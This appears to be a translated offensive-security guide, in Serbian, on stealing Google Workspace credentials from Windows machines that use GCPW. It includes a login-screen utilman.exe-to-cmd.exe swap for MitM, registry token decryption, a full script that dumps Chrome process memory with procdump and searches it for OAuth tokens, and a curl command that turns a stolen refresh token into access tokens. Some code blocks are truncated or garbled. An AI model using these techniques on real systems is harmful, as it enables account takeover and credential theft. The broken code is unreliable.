Ovo je jedinstveno prijavljivanje koje Google Workspace pruža kako bi korisnici mogli da se prijave na svojim Windows računarima koristeći svoje Workspace akreditive. Štaviše, ovo će čuvati tokene za pristup Google Workspace na nekim mestima na računaru.
Napomena da Winpeas može da detektuje GCPW, dobije informacije o konfiguraciji i čak tokene.
GCPW - MitM
Kada korisnik pristupi Windows računaru sinhronizovanom sa Google Workspace putem GCPW, biće potrebno da popuni uobičajeni obrazac za prijavu. Ovaj obrazac za prijavu će vratiti OAuth kod koji će računar zameniti za refresh token u zahtevu kao što je:
POST /oauth2/v4/token HTTP/2Host:www.googleapis.comContent-Length:311Content-Type:application/x-www-form-urlencoded[...headers...]scope=https://www.google.com/accounts/OAuthLogin&grant_type=authorization_code&client_id=77185425430.apps.googleusercontent.com&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f&device_type=chrome
Nove linije su dodate da bi se poboljšala čitljivost.
Bilo je moguće izvršiti MitM instaliranjem Proxifier na PC, prepisivanjem utilman.exe binarne datoteke sa cmd.exe i izvršavanjem funkcija pristupačnosti na Windows stranici za prijavu, što će izvršiti CMD iz kojeg možete pokrenuti i konfigurisati Proxifier.
Ne zaboravite da blokirate QUICK UDP saobraćaj u Proxifier kako bi se prešao na TCP komunikaciju i mogli da ga vidite.
Takođe konfigurišite u "Serviced and other users" obe opcije i instalirajte Burp CA certifikat u Windows.
Pored toga, dodavanjem ključeva enable_verbose_logging = 1 i log_file_path = C:\Public\gcpw.log u HKLM:\SOFTWARE\Google\GCPW moguće je sačuvati neke logove.
GCPW - Otisak prsta
Moguće je proveriti da li je GCPW instaliran na uređaju proverom da li postoji sledeći proces ili da li postoje sledeći registri:
# Check process gcpw_extension.exeif (Get-Process-Name "gcpw_extension"-ErrorAction SilentlyContinue) {Write-Output"The process gcpw_xtension.exe is running."} else {Write-Output"The process gcpw_xtension.exe is not running."}# Check if HKLM\SOFTWARE\Google\GCPW\Users exists$gcpwHKLMPath ="HKLM:\SOFTWARE\Google\GCPW\Users"if (Test-Path $gcpwHKLMPath) {Write-Output"GCPW is installed: The key $gcpwHKLMPath exists."} else {Write-Output"GCPW is not installed: The key $gcpwHKLMPath does not exist."}# Check if HKCU\SOFTWARE\Google\Accounts exists$gcpwHKCUPath ="HKCU:\SOFTWARE\Google\Accounts"if (Test-Path $gcpwHKCUPath) {Write-Output"Google Accounts are present: The key $gcpwHKCUPath exists."} else {Write-Output"No Google Accounts found: The key $gcpwHKCUPath does not exist."}
U HKCU:\SOFTWARE\Google\Accounts je moguće pristupiti emailu korisnika i enkriptovanom refresh tokenu ako se korisnik nedavno prijavio.
U HKLM:\SOFTWARE\Google\GCPW\Users je moguće pronaći domenе koje su dozvoljene za prijavu u ključiću domains_allowed, a u podključevima je moguće pronaći informacije o korisniku kao što su email, slika, korisničko ime, trajanje tokena, token handle...
Token handle je token koji počinje sa eth. i iz kojeg se može izvući neka informacija putem zahteva kao što je:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'# Example response{"audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":12880152}
Takođe, moguće je pronaći token handle pristupnog tokena sa zahtevom poput:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'access_token=<access token>'# Example response{"issued_to":"77185425430.apps.googleusercontent.com","audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":1327,"access_type":"offline","token_handle":"eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"}
Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle-a.
Pored toga, datoteka C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse je json koji sadrži informacije o različitim postavkama kao što su enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (ako više korisnika iz Workspace može da se prijavi na računar) i validityPeriodDays (broj dana tokom kojih korisnik ne mora ponovo da se autentifikuje sa Google-om).
GCPW - Dobijanje Tokena
GCPW - Registry Refresh Tokeni
Unutar registra HKCU:\SOFTWARE\Google\Accounts može biti moguće pronaći neke naloge sa refresh_token koji je enkriptovan unutra. Metoda ProtectedData.Unprotect može lako da ga dekriptuje.
Dobijte HKCU:\SOFTWARE\Google\Accounts podatke i dekriptuje refresh_tokens
```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
</div>
Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=FEQxHRRP_5I), ako ne pronađete token u registru, moguće je izmeniti vrednost (ili obrisati) iz **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** i sledeći put kada korisnik pristupi računaru, moraće ponovo da se prijavi, a **token će biti sačuvan u prethodnom registru**.
### GCPW - Tokeni za osvežavanje diska
Datoteka **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dešifrovanje **`refresh_tokens`** koji se nalaze unutar **Google Chrome profila** korisnika kao što su:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dešifrovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Štaviše, enkripcija se može pronaći u ovom kodu: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim [**ima 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
### GCPW - Ispisivanje tokena iz memorije procesa
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretraživanje** stringova povezanih sa **tokenima za pristup i osvežavanje**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati tokene za osvežavanje i/ili pristup u memoriji!**
<details>
<summary>Ispisivanje Chrome procesa i pretraživanje tokena</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
Pokušao sam isto sa gcpw_extension.exe, ali nije pronašao nijedan token.
Iz nekog razloga, neki ekstraktovani pristupni tokeni neće biti validni (iako će neki biti). Pokušao sam sledeći skript da uklonim karaktere jedan po jedan kako bih pokušao da dobijem validan token iz dump-a. Nikada mi nije pomogao da pronađem validan, ali možda bi mogao:
Proveri pristupni token uklanjanjem karaktera jedan po jedan
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo "Token length: ${#access_token}" done
echo "Error: Token invalid or too short"
</details>
### GCPW - Generisanje pristupnih tokena iz osvežavajućih tokena
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajni ključ klijenta navedene u sledećoj komandi:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Scopes
Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo scope-ove koje podržava aplikacija u kojoj generišete access token.
Takođe, refresh token nije važeći u svakoj aplikaciji.
Podrazumevano, GCPW neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa refresh_token za generisanje access_token: